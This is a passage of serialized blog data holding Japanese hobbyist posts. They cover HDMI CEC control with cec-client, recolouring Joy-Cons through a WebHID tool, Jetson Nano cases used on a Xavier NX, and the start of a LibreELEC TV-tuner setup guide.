3\naddress: 3.0.0.0\nactive source: yes\nvendor: Unknown\nosd string: NintendoSwitch\nCEC version: 1.3a\npower status: on\nlanguage: ???\n\n\ncurrently active source: Playback 3 (11)\n\n```\n-->\n\nこの列挙されている各デバイスの、`device #`の後に続く16進数がバスアドレスです。\n\n\n### テレビのスリープ\n\n\n```\necho \"standby 0\" | cec-client -d 1 -s\n```\n\nテレビのバスアドレスはよっぽどのことがない限り`0`なので、アドレス`0`に向かって`standby`コマンドを叩けば、ほとんの環境でテレビをスリープできます。\n\n### デバイスのスリープ\n\n```\necho \"standby B\" | cec-client -d 1 -s\n```\n\n先ほどのscanでバスアドレス`B`のNintendo Switchがアクティブなので、スリープさせてみます。\nスリープしました。\n\n### デバイスの復帰\n\n\n```\necho \"on 4\" | cec-client -d 1 -s\n```\n\nこれも指定したバスアドレスの機器をonにできます。\nNintendo SwitchはスリープしたらCECが切断されてしまったので、AppleTVを付けてみました。付きました。\n\n\n### CECの監視\n\n```\ncec-client -m\n```\n\n流れているCECフレームを監視できます。\n監視中にリモコンでテレビの画面を消してみました。\n\n\n\n\n**>> 0f:36** とトラフィックが流れてきているのがログに現れています。\nCECのフレームは送信元4ビット、宛先4ビット、コード8ビット、それに続いて引数がつく形で表されます。\nこの0f:36は次のように分解できます。\n\n- 送信元アドレス `0` テレビ\n- 宛先アドレス `f` ブロードキャスト(全体)\n- コード `36` standby(スタンバイ)\n\nlibCECで扱っているコードは、cectypes.hに記載があります。\n\n[libcec/cectypes.h at libcec-5.0.0 · Pulse-Eight/libcec](https://github.com/pulse-eight/libcec/blob/libcec-5.0.0/include/cectypes.h#L749-L826)\n\n\n### CECフレームの送信\n\n```\necho \"tx 10:04\" | cec-client -d 1 -s\n```\n\nデータ構造がわかると、CECフレームを生で送って調査したくなりますね。\nそんな時に役に立つのが、CECフレームパーサ・ジェネレーターWebアプリケーションの[CEC-O-MATIC](http://www.cec-o-matic.com/)。\n先ほどの監視したフレームのトラフィックもパースできます。\n\n\n\n**10:04**を送ってみました。\n\n- 送信元アドレス `1` Raspberry Pi\n- 宛先アドレス `0` テレビ\n- コード `04` on\n\nテレビがつきました。\n\n## まとめ\n\nHDMIのEDIDを調査することで、ディスプレイやテレビが対応している映像モードや音声のチャンネル数などがわかります。\n映像が映らない時、出力する機器が対応しているモードがないなんてことが稀にありますが、これで確認できますね。\n\nCECの調査では、デバイスと連動してスリープにちゃんと移行しない場合など、どのようなCECフレームがやり取りされているかを確認できます。\nまた、どのようなフレームを送るとどういった挙動をするのか、動作確認にも使えますね。\n\nこれらのツールでみなさん良いHDMI調査ライフを〜\n\n---\n### 参考リンク\n\n- [Web Based EDID Reader](http://www.edidreader.com/)\n- [dgallegos/edidreader: JavaScript EDID Parser](https://github.com/dgallegos/edidreader)\n- [Irwin's BIOS World: OemEdid UEFI Shell Version](http://irwinshen.blogspot.com/2016/08/oemedid-uefi-shell-version.html)\n- [Understanding EDID - Extended Display Identification Data \\| Extron](https://www.extron.com/article/uedid)\n- [EDID (VESA Enhanced Extended Display Identification Data) format spec for Kaitai Struct](https://formats.kaitai.io/edid/index.html)\n"]}],[0,{"slug":[0,"2020/05/27/switch-joycon-color-replace-tool/"],"data":[0,{"title":[0,"ブラウザでNintendo SwitchのJoy-Conの色を変える"],"date":[3,"2020-05-26T16:30:00.000Z"],"image":[0,"/assets/images/2020/05/27/joycon-purple.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"Game"]]],"tags":[1,[[0,"nintendo"],[0,"switch"],[0,"hid"],[0,"webhid"],[0,"oss"]]]}],"content":[0,"\n昨今、入手困難となっているNintendo Switchは、3年前のスプラトゥーン2セットモデルが発売された時も激戦でした。\n各種通販サイトを廻り、運良く発売日に手に入れられた喜びは今でも鮮明に覚えています。\n\n[スプラトゥーン2:商品情報 \\| Nintendo Switch \\| 任天堂](https://www.nintendo.co.jp/switch/aab6a/products/index.html)\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">スプラトゥーン2!!! <a href=\"https://t.co/nnu4HztBQr\">pic.twitter.com/nnu4HztBQr</a></p>&mdash; ミ゛ (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/888340517087346689?ref_src=twsrc%5Etfw\">July 21, 2017</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n当時のSplatoon人気から、多くの人がスプラトゥーン2セットモデルを買い、遊ぶ人遊ぶ人全員が同じカラーのNintendo Switchを持っているなんてこともありました。本体から外してしまったら、もうどれが誰のJoy-Conだったかわからなくなります。\n\n\n\nそんなSplatoon 2も発売から2年を迎えるタイミングで[ファイナルフェス](https://twitter.com/SplatoonJP/status/1153138774395609089)が開催され、先週末に開催された本当に最後(?)の[おかわりフェス](https://twitter.com/SplatoonJP/status/1252767629124632577)も終わったことで、一旦節目を迎えました。\n\n頑張って手に入れたSplatoon 2カラーを持つことの満足感も捨てがたいですが、Joy-Conに個性を持たせたい気持ちが高まってきたので、この節目をもってSplatoon 2カラーを卒業することにしました。\n\n## 目次\n\n\n## Joy-Conカラーバリエーション\n\nJoy-Conは外装シェルと呼ばれるプラスチックの「ガワ」に色がついており、その色の違いで多くのバリエーションが展開されています。Splatoon 2カラーもこれらの組み合わせの一つです。\n\n\n\n出典: [周辺機器 \\| Nintendo Switch|任天堂](https://www.nintendo.co.jp/hardware/switch/accessories/index.html)\n\n新たな色の組み合わせを買うことで、自分の個性を出していくことができますが、1組8,000円強する上に、Joy-Conを買い足す必要も今はありません。\n安く、好きな色の「ガワ」さえ手に入れられれば、手持ちのJoy-Conの外装交換するだけで事足ります。\n\n## 外装シェル(ガワ)\n\n安く交換パーツを手に入れる方法はいくつかありますが、今回もAliexpressで探索しました。\nJoy-Conで失われていた十字キーを搭載するものもあり、価格も安価で1,800円程で買えるものが見つかりました。\n\n[Myriann (D PAD バージョン) 交換ハウジングケース nintend スイッチ NS コントローラ喜び Con シェルゲームコンソールスイッチケース\\|交換部品 & アクセサリー\\| - AliExpress](http://s.click.aliexpress.com/e/_dZajvgP)\n\n買いました。\n\n\n\n後から知ったんですが、販売元のMyriannはAmazon.co.jpでも展開してるっぽいので、数百円高くなりますがこっちの方が早く届くかもしれません。\n\n<a href=\"https://www.amazon.co.jp/Myriann-Nintendo-Switch-%E3%82%AB%E3%83%A9%E3%83%BC%E7%BD%AE%E6%8F%9B%E3%82%B1%E3%83%BC%E3%82%B9-%E5%A4%96%E6%AE%BB-%E3%81%A4%E3%81%84%E3%81%AB%E7%99%BB%E5%A0%B4%EF%BC%81/dp/B076V7RGXW/ref=as_li_ss_il?ref_=nav_custrec_signin&&linkCode=li3&tag=mzyy-22&linkId=64805038abb8450e9bdbd994a45dd491&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B076V7RGXW&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon \\| Myriann 任天堂 Nintendo Switch ニンテンドー カラー置換ケース 代わりケース 外殻 ついに登場! (透明+) \\| 周辺機器・アクセサリ](https://www.amazon.co.jp/Myriann-Nintendo-Switch-%E3%82%AB%E3%83%A9%E3%83%BC%E7%BD%AE%E6%8F%9B%E3%82%B1%E3%83%BC%E3%82%B9-%E5%A4%96%E6%AE%BB-%E3%81%A4%E3%81%84%E3%81%AB%E7%99%BB%E5%A0%B4%EF%BC%81/dp/B076V7RGXW/ref=as_li_ss_tl?ref_=nav_custrec_signin&&linkCode=ll1&tag=mzyy-22&linkId=c61f3e83a189b87d26b749735c2f2366&language=ja_JP)\n\n\n### 組み替え\n\nNintendoのハーウェアは簡単に開けられないよう、昔から特殊ネジが使われています。\nゲームキューブの分解ではLHドライバーが必要になり、わざわざそのためだけに2,000円近くするドライバーを買った覚えがあります。\nNintendo SwitchのJoy-Conはその点では難易度が下がり、精密ドライバーセットに含まれるY型2mmビットがあれば開けられました。\n\n\n\n両面テープでの貼り付けがなかなか剥がれなかったりと躓くところはあれど、順にネジを外し逆の要領で組み上げるだけで容易に交換できました。\n\n## 表示色との食い違い\n\n[ゲームボーイカラーのクリアパープル](https://upload.wikimedia.org/wikipedia/commons/7/76/Nintendo-Game-Boy-Color-FL.jpg)を思い出させる見た目に仕上がりました。\n\n\n\n外観はとても満足いく形になったものの、一つ問題が残ります。\nそれはNintendo Switchのゲーム画面上での表示色との食い違いです。\n画面上ではSplatoonカラーのままです。ぴえん。\n\n### Joy-Conの色情報\n\n[Pro ControllerのUSB Gadgetシミュレーション](../2020/2020-03-20-nintendo-switch-pro-controller-usb-gadget.md)を行った際、コントローラーの色情報がPro Controller内部のSPIフラッシュメモリーに書き込まれており、その情報を参照して画面上に色が表示されていることを知りました。\nJoy-ConのSPIフラッシュメモリーの同じ領域をみてみると、確かに色情報が格納されていることがわかったので、これを紫に書き換えてあげれば完璧に満足できる形になります。\n\n### WebHID API\n\nJoy-ConのSPIフラッシュメモリーにアクセスするには、HIDプロトコルの通信を行う必要があります。\nハードウェアとのやり取りを担う比較的低いレイヤーを扱うため、OS依存度が高いプログラムができてしまいがちです。\n\n色という視覚的情報を扱うため、GUIを使って調整をしたいものです。ただ、そのためにGUI環境を組み立てるのがだるい。\n非同期に数十バイトのデータをやり取りするだけのプログラムに、色々とライブラリを揃えたりマルチプラットフォームに向けた対応をしたりするのも、とてもめんどくさいです。\n\nだるくてめんどくさいので、ハードウェア関連APIをモリモリ実装しているガラパゴスブラウザこと、Google Chrome(Blink)に搭載の[WebHID API](https://wicg.github.io/webhid/index.html)を使ったWebアプリとして仕上げることにしました。\n\n## Joy-Con ToolWeb\n\nAPIは仕様と[Example](https://github.com/WICG/webhid/blob/8d80264b37124ca532b1388bcea29afbbc198ad4/EXPLAINER.md#example)を読んで完全に理解したので、あとはちゃっちゃと書くだけです。\n\n書きました。Joy-Con Tool(Web)です。\n\n[https://mzyy94.com/joycon-toolweb/](https://www.mzyy94.com/joycon-toolweb/)\n\n\n\n[mzyy94/joycon-toolweb: Joy-Con and Pro Controller color modification tool](https://github.com/mzyy94/joycon-toolweb)\n\nWebHIDでJoy-ConのSPIフラッシュメモリーの値をちょこっと変えるだけのものです。\n体裁は[Alpine.js](https://github.com/alpinejs/alpine)と[tailwindcss](https://github.com/tailwindcss/tailwindcss)で整えました。\nJoy-Conと名前にありますが、どうせならと奮起してベクターイラストを書いて、Pro Controllerにも対応しました。\n\n**執筆時点では、WebHID APIの実装があるGoogle Chromeでしか動きません。**\n\n### PCとのペアリング\n\nJoy-Con Tool(Web)で色を変えるには、予めmacOSやWindowsにJoy-ConをBluetoothで繋げておく必要があります。\n繋げ方はmacOSならシステム環境設定→Bluetoothを開いている状態で、Joy-Conのシンクロボタンを押せば繋げられるようになります。\nシンクロボタンの位置はサポートページに書いてあります。\n\n[【Switch】はじめて使用するコントローラーを、無線でSwitch本体に登録したい。](https://support.nintendo.co.jp/app/answers/detail/a_id/36558/)\n\n\n\n### コントローラーの接続\n\n[Joy-Con Tool(Web)](https://www.mzyy94.com/joycon-toolweb/)をGoogle Chromeで開いて、\"+ Add\"を押すと、コントローラーの接続メニューが出てきます。\n\n\n\n色を変えたいJoy-Conを選ぶとChromeに接続され、コントローラー一覧に表示されます。\n\n\n\n### 色の変更\n\n右側のSelect ~~のボタン(&lt;button&gt;ではない)を押すとカラーピッカーが出てくるので、好きな色を選ぶだけです。\n\n\n\n余談ですが、先日配信されたChrome 83から独自のカラーピッカーが実装されるようになり、システムのカラーピッカーで使えていたパレットへの色の保存や、色の抽出ができなくなったのがちょっと残念です。\n\n[Google Developers Japan: Chrome のフォーム コントロールとフォーカスのアップデート](https://developers-jp.googleblog.com/2020/04/chrome_7.html)\n\n好きな色を選んだら、Applyで書き込んでおしまいです。\n書き込むと出荷時の状態には戻せなくなるので、自己責任のもと行ってください。\n\n\n\nブラウザを閉じて、Joy-ConをNintendo Switch本体に取り付ければ、選んだ色が反映されて最高の気分になれます。\n\n\n\n\n\n\n## まとめ\n\n食い違いもなくなり、モヤモヤも晴れて最高になりました。\n\nああ、どうぶつの森カラーのPro Controller発売されないかなぁ。\n\n\n"]}],[0,{"slug":[0,"2020/06/09/jetson-xavier-nx-case/"],"data":[0,{"title":[0,"Jetson Xavier NXで使えるNano用ケースを2つ試した"],"date":[3,"2020-06-08T15:10:00.000Z"],"image":[0,"/assets/images/2020/06/09/IMG_5087.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Gadget"]]],"tags":[1,[[0,"jetson"],[0,"xavier"],[0,"nx"],[0,"nano"],[0,"case"]]]}],"content":[0,"\nエッジAIスーパーコンピューターのNVIDIA Jetsonとの付き合いは長く、2015年に買った[Shield TVをJetson TX1化](https://forum.xda-developers.com/shield-tv/general/build-kernel-source-boot-to-ubuntu-t3274632)したのを発端に、遊び初めて5年となる。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">SHIELD TV <a href=\"http://t.co/K4iEW26mM2\">pic.twitter.com/K4iEW26mM2</a></p>&mdash; ミ゛ (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/614300280687980544?ref_src=twsrc%5Etfw\">June 26, 2015</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">旧Shield TV、CUDAボードとしてしか使ってないので</p>&mdash; ミ゛ (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/823039187167285249?ref_src=twsrc%5Etfw\">January 22, 2017</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n昨年末の11月頭、NVIDIAはJetson Xavier NXを2020年3月に399 USDで発売するとプレスリリースを出していた。\n\n[NVIDIA Announces Jetson Xavier NX, World’s Smallest Supercomputer for AI at the Edge \\| NVIDIA Newsroom](https://nvidianews.nvidia.com/news/nvidia-announces-jetson-xavier-nx-worlds-smallest-supercomputer-for-ai-at-the-edge)\n\n3月になり、待てど暮らせど発売されている気配がなかったが、4月に入り[プロダクションモジュールが流通しているらしきツイート](https://twitter.com/alfredplpl/status/1255084490340184065)を見かけ、開発者キットの発売は5月のGTC 2020で告知されるとの情報も流れていた。その情報の通り、GTC 2020のオンライン開催と時を同じくして、やっとのことで\nJetson Xavier NX開発者キットが発売された。\n\n[組み込み/エッジ システム用の Jetson Xavier NX \\| NVIDIA](https://www.nvidia.com/ja-jp/autonomous-machines/embedded-systems/jetson-xavier-nx/)\n\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">𝑚𝑦 𝑛𝑒𝑤 𝑔𝑒𝑎𝑟 <a href=\"https://t.co/6BB3gbgysT\">pic.twitter.com/6BB3gbgysT</a></p>&mdash; ミ゛ (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1262214518110711810?ref_src=twsrc%5Etfw\">May 18, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n\n届いてしばらく放置していたが、早速使ってみるかと思い立ちSDカードイメージを焼いて火を入れてみると、Shield TVで苦労していた時と比べてあっけなく起動してしまった。\n\nさて、無事起動することがわかって、色々と検証をしていこうと思ったものの、Jetson Xavier NX開発者キットは、そのままでは基板剥き出しである。\nこの状態では怖くてとても常用できないので、ケースを探すことにした。\n\n## 目次\n\n\n## Jetson Xavier NX用のケース\n\n5月末時点では、手に入るJetson Xavier NX用として販売されているケースは見つけられなかった。残念。\n\n## Jetson Xavier NXとJetson Nanoのサイズ互換\n\nJetson Xavier NX開発者キットは、無線LANアンテナを備えたプラスチックの検証台にねじ止めされている。\nアンテナと共にこの検証台から取り外すと、Jetson Nano開発者キット (rev. B01)とよく似たサイズの基板単体となる。\nさらにねじ穴の位置もI/Oポートの位置も、ファン(Nanoではヒートシンク)の位置までも全て同じように見える。\n\n確信がないので、[Jetson Download Center](https://developer.nvidia.com/embedded/downloads)からそれぞれの開発者キットの3D CADモデルファイルをダウンロードして、見比べてみた。\n\n\n\n\n\n\nねじ穴の位置もI/Oポートの位置も、ファン(Nanoではヒートシンク)の位置も、同じだということがわかった。\n\nこれが意味することは、Jetson Nano (rev. B01)のケースが流用できる可能性が非常に高いということだ。\n\nと言うわけで、Jetson Nano開発者キットのケースを探して買うことにした。\n\n\n## Waveshare Acrylic Clear Case for Jetson Nano\n\n\n\n製品ページ・引用元: [Acrylic Case (Type A) for the Jetson Nano Developer Kit](https://www.waveshare.com/jetson-nano-case-a.htm)\n\nWaveshare製のアクリルで簡易的にJetson Nano B01を保護できるケース。\n魅力はなんと言っても安い点。\n\nせんごくネット通販で800円(税込み・購入時価格)で手に入った。\n\n[16566 Jetson Nano用 アクリルクリアケース - せんごくネット通販](https://www.sengoku.co.jp/mod/sgk_cart/detail.php?code=EEHD-5KVV)\n\n\n\n組み立てに悩みようもないシンプルな構造。\n\n\n\n\nmicroSDカードの出し入れをするための開口部は大きく、40ピンヘッダーへのアクセスも容易にできる設計で、最小サイズで組み上がるコンパクトさも相まって「良い」の一言が出る。\n\n\n\n\nI/Oポートの寸法も2つあるカメラコネクタの端子へのアクセスもバッチリなので、小型で安価なケースを探している場合はこのケースがベスト。\n\nただ、電源ボタンがないのと、電源ボタン用の接続ピンにコネクタを繋げる余裕がないため、電源を頻繁にON/OFFする使い方には向かない。\n電源を付けっぱなしにする使い方、あるいは逆に稀にしか電源を入れない使い方には向いていると思う。\n\n### 無線LANアンテナの取り付けについて\n\n<a href=\"https://www.amazon.co.jp/gp/product/B07K564T9L/ref=as_li_ss_il?ie=UTF8&linkCode=li3&tag=mzyy-22&linkId=01798636b9a995f572b81fbd14997fac&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07K564T9L&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n\n[Amazon \\| NGFF M.2 ネットワーク カード用 6dBi RP-SMA アンテナ U.FL ピグテール ケーブル \\| orangejuice.tech \\| 無線LAN用アンテナ 通販](https://www.amazon.co.jp/gp/product/B07K564T9L/ref=as_li_ss_tl?ie=UTF8&linkCode=ll1&tag=mzyy-22&linkId=605a16669ce9a06953457d05373400f0&language=ja_JP)\n\n\nアンテナを取りつける穴があるので、上記のようなダイポールアンテナを買い足して、ケースと無線LANモジュールに取り付けることで技術的にはWi-FiとBluetoothが使えるようになる。\n\nしかし、今回のように検証台とアンテナを取り外し、ケースを取り替え、無線出力に関係するアンテナを新たに購入して付け替えるとなると、[電波法](https://www.tele.soumu.go.jp/horei/reiki_honbun/72001000001.html)第三十八条の七第四項の条文中にある**特定無線設備の変更の工事**を行ったと解釈でき、技適マークの表示を除去する義務が発生し、結果として技術基準適合証明が外れて法的には使えないとも捉えられるため、注意したい。ただし、**特定無線設備の変更の工事**の解釈がずれていた場合はこの限りではないので、各自の責任のもと判断されたい。\n\n### 無線LANアンテナの取り付けについて2\n\nJetson Xavier NXに刻印のある技適マークには、以下の番号が記されている。\n\n- 技術基準適合証明 工事設計認証番号: 201-180775\n- 技術基準適合認定 設計認証番号: D180171201\n\n工事設計認証番号の情報を検索すると、以下のページにJetson Xavier NX搭載モジュールの技術基準適合証明情報が記載されている。\n\n[工事設計認証番号 201-180775 総務省 電波利用ホームページ \\| 技術基準適合証明等を受けた機器の検索](https://www.tele.soumu.go.jp/giteki/SearchServlet?pageID=jg01_01&PC=201&TC=N&PK=1&FN=200514N201&SN=%94%46%8F%D8&LN=6&R1=*****&R2=*****)\n\n\n\n画像引用元: [201-180775_01_001.pdf](https://www.tele.soumu.go.jp/giteki/SearchServlet2?PageID=jt01&ATF=41905001)\n\nRealtek RTL8822CEと認証情報ページに添付されているPDFに掲載された複数のアンテナが適合証明をうけているとわかる。\n認証制度を歪曲して解釈すれば、このPDFに掲載されているアンテナ同士で交換しても、技術基準適合証明を受けた状態から変更がない、すなわち**特定無線設備の変更の工事**を行っていないとも捉えられる。このPDFに掲載されているアンテナを手に入れて取り付けるのは、工事設計認証番号: 201-180775の認証を受けている組み合わせ通りであるため、変更の範疇を超えないという考えだ。\nただし、**特定無線設備の変更の工事**の解釈がずれていた場合はこの限りではないので、各自の責任のもと判断されたい。\n\nといった感じでダイポールアンテナを繋げるのはとてもめんどくさいので、念のため、無線LANモジュールごと取り外しておいた。\n\nどうしても適法にWi-FiやBluetoothを使いたい場合、Jeton Xavier NXに付属のアンテナを検証台から取り外しアクリルケースに取り付ければ、無線設備に変更は生じないため、この問題を回避できるはずだ。\n\n\n## Waveshare Jetson Nano Metal Case (C)\n\n\n\n製品ページ・引用元: [Metal Case (Type C) for the Jetson Nano Developer Kit](https://www.waveshare.com/jetson-nano-case-c.htm)\n\n同じくWaveshareの金属ケース。電源ボタンと状態LEDつき。\n金属ケースにしては比較的安価。\n\nアクリルケースを使っていたものの、電源ボタンが欲しくなったのでこれを買い足し。\nマルツで2,100円(税抜き・購入時価格)で手に入った(SeeedStudio製と書かれているがWaveshareの箱に入って届いた)。\n\n[Jetson Nano用メタルケース(ファン、カメラホルダー付き) 110991384|電子部品・半導体通販のマルツ](https://www.marutsu.co.jp/pc/i/1633552/)\n\nJetson Nano用の金属ケースには、よりコンパクトな[Type B](https://www.waveshare.com/wiki/Jetson_nano_case_(B))も販売していたが、それは旧リビジョン向け。\nType BはXavier NXやJetson Nano B01の電源ボタンやLEDの接続ができない上に、カメラコネクタの位置が合わないので間違って買わないこと。\n\n付属品が多く複雑そうに見えるが、組み立て方はWikiに書いてある。\n\n[Jetson Nano Case (C) - Waveshare Wiki](https://www.waveshare.com/wiki/Jetson_Nano_Case_(C))\n\n\n\n\n4G拡張ボードを載せられるようにスペースが確保されているため、サイズは大きめ。\n内部には余裕があり、microSDカードはライザーアダプタを介して接続するようになっている。\n\n\n\n\n\n\nI/Oポートはぴったり設計。使う予定のない4G拡張ボード用の穴が開いてるのがちょっと残念。\n\n\n\n\n\n念願の電源ボタンとリセットボタン。押しやすくて感度も良好。\nライザーケーブルと基板で横向きに出している40pinヘッダーには、ピン配置が書かれていて色々繋げて遊ぶときに便利そう。\n\n\n## まとめ\n\nJetson Xavier NX開発者キットにはJetson Nano用ケースも使えた。\n安くて小さくて電源ボタン要らなければ[Acrylic Clear Case for Jetson Nano](#waveshare-acrylic-clear-case-for-jetson-nano)、電源ボタンが欲しくて比較的安くてコンパクトなのが欲しければ[Jetson Nano Metal Case (C)](#waveshare-jetson-nano-metal-case-c)がおすすめ。\n\n2個もケース買っちゃったし給付金でもう一個Xavier NX買おうかな。\n"]}],[0,{"slug":[0,"2020/08/18/libreelec-mirakurun-epgstation/"],"data":[0,{"title":[0,"LibreELECで地デジを楽しむためにMirakurunとEPGStationを一発で動かす"],"date":[3,"2020-08-18T01:20:00.000Z"],"image":[0,"/assets/images/2020/08/18/raspberry-pi-stb.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Multimedia"]]],"tags":[1,[[0,"raspberry-pi"],[0,"docker"],[0,"mirakurun"],[0,"epgstation"],[0,"libreelec"],[0,"kodi"],[0,"pvr"]]]}],"content":[0,"\n```\nステイホーム\n↓\nおうち時間が増える\n↓\nテレビを見たくなる\n↓\nRaspberry Piで地デジを見る\n```\n\n地上デジタル放送をRaspberry Piで視聴する定番の組み合わせを、ノーコード・コマンドライン操作なしに、すなわち一発でセットアップできるようにした。\n\n\n## 目次\n\n## ソフトウェア構成\n\nどういったソフトウェアを用いるのか見ていこう。\n\n### LibreELEC\n\n[LibreELEC – Just enough OS for KODI](https://libreelec.tv/)\n\nメディアセンターアプリケーションとして名を馳せる[Kodi](https://kodi.tv/)を動作させることに特化したOS。\n類似のものに[osmc](https://osmc.tv/)や[OpenELEC](https://openelec.tv/)があるが、もっとも活発にメンテナンスされているのはLibreELECだ(執筆時)。\n\nKodiはアドオンというプラグインシステムで機能やサービスの拡張ができる。\nそのアドオンを管理するためのアドオンマネージャという、言わばパッケージマネージャをKodiは有しており、依存関係の解消やアドオンリポジトリの管理などを担っている。\nシステムユーティリティなどを管理することもあることから、LibreELECのようなKodiのみを動かすことを想定しているOSでは、ベースとなるLinuxのパッケージマネージャを使うのではなく、Kodiのアドオンマネージャを利用するのが筋といったところだ。\n\nLibreELECが優れている点として、2つの大きな特徴がある。Sambaの標準搭載とDockerアドオンの存在だ。\n\n#### Sambaファイル共有サービス\n\n\nネットワークファイル共有のデファクトであろうSamba。そのSambaファイル共有サービスがLibreELECに標準で組み込まれていて、初回セットアップ時に有効にできる(もちろん後から変更できる)。\nこれによって、コマンドラインを操作する必要なくLibreELECにmacOSやWindowsからファイルを転送できる。\n\n\n\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/oBlHCuGGrJ8\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\n\n\n#### Dockerアドオン\n\n\nLibreELECでDockerを動かすためのDockerアドオンが、LibreELECの公式アドオンリポジトリから提供されている。\nRaspberry PiでもDockerは動くため、arm/arm64プラットフォーム向けのDockerイメージであれば、アドオンの形でサービスを手軽に動作させることができるのだ。\n\n参考: [Docker comes to Raspberry Pi - Raspberry Pi](https://www.raspberrypi.org/blog/docker-comes-to-raspberry-pi/)\n\n### Mirakurun\n\nTVチューナーサーバーサービスであるMirakurun。\n先日メジャーバージョンアップがあり、ドライバのインストールを不要としたりDocker対応が強化されたりと、より手軽に導入できるようになった。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">Mirakurun 3.0.0 “Night Whale” リリースのお知らせとインストール方法<a href=\"https://t.co/OXS4G6C57L\">https://t.co/OXS4G6C57L</a><a href=\"https://twitter.com/hashtag/%E7%A9%BA%E6%B0%97%E9%8C%B2%E5%AD%A6%E9%9B%BB%E5%AD%90%E7%89%88?src=hash&amp;ref_src=twsrc%5Etfw\">#空気録学電子版</a></p>&mdash; 録画研究会 (@Chinachu_REC) <a href=\"https://twitter.com/Chinachu_REC/status/1272901743370780673?ref_src=twsrc%5Etfw\">June 16, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nDockerイメージはdocker-composeで自分でビルドして利用するようにあるが、Docker Hubにも公開されている。\nただ、公開されているイメージにはRaspberry Piでネイティブに動作するarm/arm64プラットフォーム向けのものが含まれていなかったため、追加するPRを送って無事マージされた。\nこれでRaspberry PiでもDockerイメージのビルド不要でTVチューナーを扱えるようになる。\n\n[リリースtagを打つときにarm/arm64ビルドのDockerイメージも作成する by mzyy94 · Pull Request #72 · Chinachu/Mirakurun](https://github.com/Chinachu/Mirakurun/pull/72)\n\n\nそして、LibreELECのDockerアドオンに対応したMirakurunアドオンを作成した。これをLibreELECのKodiに導入することで、TVチューナーサーバーを手軽に立ち上げられるようになる。\n\n[GitHub - Harekaze/docker.harekaze.mirakurun: Mirakurun Docker addon for LibreELEC](https://github.com/Harekaze/docker.harekaze.mirakurun)\n\n### EPGStation\n\nMirakurunを使っていい感じにWebブラウザから地上デジタル・衛星放送の録画管理と視聴をするためのアプリケーション。こちらもDocker対応があり、Raspberry Piでも動作するarm/arm64イメージも提供されている。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">.<a href=\"https://twitter.com/masnagam?ref_src=twsrc%5Etfw\">@masnagam</a> さんのご協力によって(私はほぼ何もしていませんが) Docker HubにてEPGStationのdockerイメージを公開できるようになりました。<br />docker-mirakurun-epgstationへの対応も追々やります。<br />ぜひご活用ください。<a href=\"https://t.co/z8jJKrZxNM\">https://t.co/z8jJKrZxNM</a><br /><br />ffmpegは含まれないので注意してください。</p>&mdash; l3tnun (@l3tnun) <a href=\"https://twitter.com/l3tnun/status/1259449383034077184?ref_src=twsrc%5Etfw\">May 10, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nMirakurunと同じくして、LibreELEC向けのDockerアドオンに対応したEPGStationアドオンを作成した。\n\n[GitHub - Harekaze/docker.harekaze.epgstation: EPGStation Docker addon for LibreELEC](https://github.com/Harekaze/docker.harekaze.epgstation)\n\n### pvr.epgstation\n\nKodiでEPGStationを管理・視聴するためのKodiアドオン。自分で作った。誕生話は以下から。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">Kodi “pvr.chinachu” 輪廻転生<a href=\"https://t.co/ioRtK38KdU\">https://t.co/ioRtK38KdU</a><a href=\"https://twitter.com/hashtag/c98?src=hash&amp;ref_src=twsrc%5Etfw\">#c98</a> <a href=\"https://twitter.com/hashtag/%E7%A9%BA%E6%B0%97%E9%8C%B2%E5%AD%A6?src=hash&amp;ref_src=twsrc%5Etfw\">#空気録学</a> <a href=\"https://twitter.com/hashtag/%E7%A9%BA%E6%B0%97%E9%8C%B2%E5%AD%A6%E9%9B%BB%E5%AD%90%E7%89%88?src=hash&amp;ref_src=twsrc%5Etfw\">#空気録学電子版</a></p>&mdash; 録画研究会 (@Chinachu_REC) <a href=\"https://twitter.com/Chinachu_REC/status/1286871160462831616?ref_src=twsrc%5Etfw\">July 25, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nこのアドオンはLibreELECに依存していないため、macOSやWindows上のKodiでも利用できる。\n\n[GitHub - Harekaze/pvr.epgstation: EPGStation for Kodi! A Kodi PVR addon of EPGStation](https://github.com/Harekaze/pvr.epgstation)\n\n### Harekaze2 PVR Repository\n\nこれらのアドオンをまとめて提供するアドオンリポジトリも作った。GitHub 